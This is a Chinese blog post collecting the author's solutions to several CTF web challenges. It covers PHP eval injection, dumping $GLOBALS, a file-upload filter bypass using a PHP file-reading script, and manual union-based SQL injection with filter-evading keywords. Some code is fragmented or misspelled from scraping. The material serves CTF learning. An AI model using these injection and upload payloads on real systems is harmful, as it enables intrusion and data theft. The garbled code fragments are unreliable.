春秋web題目解題及思路彙總(自用蒐集)

2021-10-06 01:51:36 字數 3907 閱讀 1121

<?php 

include

"flag.php";$a

= @$_request

['hello'];

eval

("var_dump($a

);")

;show_source

(__file__

);

題目知識點:file_get_contents(path)函式,獲得指定路徑下的檔案內容,以字串的形式返回出來。

eval(str)函式,把括號裡的字串,當作php命令來執行。

解題思路:

這一題,把乙個file_get_contents()函式命令賦值給$a傳入var_dump()中。var_dump()函式就是把這個命令以字串的形式返回,進入到巢狀的eval函式裡面,讓eval函式來執行這行命令。

分值:10分 型別:misc web已解答 題目: flag就在某六位變數中。 

php include

"flag.php"

;//包含flag.php

$a= @$_request

['hello'];

//$a這個變數表示hello這個請求變數的值if(

!preg_match

('/^\w*$/',$a

))// /w等價於"[a-za-z0-9],這裡表示以

eval

("var_dump($$a

);")

;//如果匹配輸出\$\$a的值

show_source

(__file__);

?>

解題預備知識:兩個符的含義,在php語言中,變數名可以用另乙個變數來表示。如下面的**中,$a=「b」,那麼

a就等於b,則輸出b的值 「hello world!」

<?php $a=

'b';$b=

"hello world!"

;eval

("var_dump($$a

);")

;?>

preg_match函式返回值為匹配到的次數。

解題流程:

審計**可以知道,我們可以用get傳值方式(?hello=),來給a賦值,最後會輸出(我傳給$a的值)。

想到上面的globals知識,那就之間傳入globals,讓把所有的變數都列印出來。最後,得到flag。

**題目內容:**想怎麼傳就怎麼傳,就是這麼任性。tips:flag在flag.php中

解題預備知識:

上傳檔案漏洞,再上傳檔案時會過濾掉特殊字元。在本次題目中過濾掉了<?和小寫的php 。

例如:

<?php 

$myfile

=fopen

("../flag.php"

,"r")or

die(

"unable to open file!");

echo

fread

($myfile

,filesize

("../flag.php"))

;fclose

($myfile);

?>

檢視上傳檔案為:

$myfile

=fopen

("../flag."

,"r")or

die(

"unable to open file!");

echo

fread

($myfile

,filesize

("../flag."))

;fclose

($myfile);

?>

解決措施:嘗試用"php"

>

$myfile

=fopen

("../flag."

.strtolower

("php"),

"r")

ordie

("unable to open file!");

echo

fread

($myfile

,filesize

("../flag."

.strtolower

("php"))

);fclose

($myfile);

<

/script>**題目內容:**出題人就告訴你這是個注入,有種別走!

解題預備知識:

salmap的使用:在使用時我發現沒有發現注入點。怎麼回事,隨後進行手工注入發現被過濾了。如果有人想用sqlmap的話要先寫指令碼,不會看看大佬的。

hackbar:在網頁輸入url小工具

解題思路:

?id=

1and1=

1

顯示原網頁,存在注入漏洞。

?id=

1 ord<>er by

3

by 4的時候不顯示,說明只有3個字段。

?id=

1union sele<>ct 1,2

,3

顯示結果2,說明在第二個字段顯示

?id=

1union sele<>ct 1

,database()

,3

顯示 sqli

?id=

1union sele<>ct 1

,group_contact(table_name),3

from information_schema.

tables

where table_schema=

'sqli'

顯示:info,users

?id=

1union sele<>ct 1

,group_contact(column_name),3

from information_schema.

columns

where table_name=

'info'

顯示:id,title,flag_t5zndrm

?id=

1union sele<>ct 1

,flag_t5zndrm,

3from info

顯示:自己做

<?php 

include

"flag.php";$a

= @$_request

['hello'];

eval

("var_dump($a

);")

;show_source

(__file__

);

題目內容:我是誰,我在哪,我要做什麼?

解題思路:

題目內容:

善於查資料,你就可以拿一血了。

知識點:解題步驟:

PTA 佇列模擬題目型別總結及解題思路 C

如1014,1017,1026,以下給出1017題目 如1006,1016,1095,以下給出1016題目 如何處理輸入的資料?int month,day,hour,min scanf d d d d month,day,hour,min 一般講所有的時間轉化為讀入的最小時間單元,用乙個變數儲存。在...

acm 貪心感悟及解題思路

金銀島輸入 第1行是測試資料的組數k,後面跟著k組輸入。每組測試資料佔3行,第1行是乙個正整數w 1 w 10000 表示口袋承重上限。第2行是乙個正整數s 1 s 100 表示金屬種類。第3行有2s個正整數,分別為n1,v1,n2,v2,ns,vs分別為第一種,第二種,第s種金屬的總重量和總價值 ...

CTF解題思路 資料報相關題目

實戰 1 直接從資料報中找 flag flag unicode類字串 實戰 2 需要繞個圈子的題目 base64編碼題目 比如說 給了乙個資料報,讓你找flag,在實戰 1 方法無效的情況下,該如何尋找 一般情況下,都會埋乙個flag在資料報內,flag字串找不到,那極有可能是加密了。此時考慮最常見...